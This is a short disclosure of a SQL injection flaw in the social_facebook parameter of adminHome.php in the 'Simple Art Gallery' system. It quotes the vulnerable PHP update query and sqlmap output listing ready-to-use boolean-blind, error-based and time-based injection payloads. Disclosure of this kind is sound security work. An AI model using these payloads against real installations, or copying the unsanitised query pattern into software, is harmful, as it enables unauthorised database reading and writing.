

SIMPLE ART GALLERY system has Sql injection vulnerabilities

SIMPLE ART GALLERY system has Sql injection vulnerabilities. The vulnerability is located in the social_facebook parameter of the adminHome.php file. The attacker can read and write arbitrarily to the database and obtain sensitive data without logging in the background.

```
//social content update
if(isset($_POST['social_facebook']))
{
    $query="update social_media set facebook='".$_POST['social_facebook']."' where uid=1";
    mysqli_query($link,$query) or die("Error updating data.".mysqli_error($link));
    $social_error="Update Successfully...";
}
```

```
sqlmap identified the following injection point(s) with a total of 387 HTTP(s) requests:
---
Parameter: social_facebook (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: social_facebook=1sleep(15),0' RLIKE (SELECT (CASE WHEN (2048=2048) THEN 0x31736c656570283135292c3029 ELSE 0x28 END))-- Hujx

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: social_facebook=1sleep(15),0' AND EXTRACTVALUE(9497, CONCAT(0x5c, 0x71766a7871, (SELECT (ELT(9497=9497, 1)))), 0x716b717071))-- pqab

  Type: time-based blind
  Title: MySQL >= 5.0.12 RLIKE time-based blind
  Payload: social_facebook=1sleep(15),0' RLIKE SLEEP(5)-- oPgQ
---
```

Sqlmap Attack

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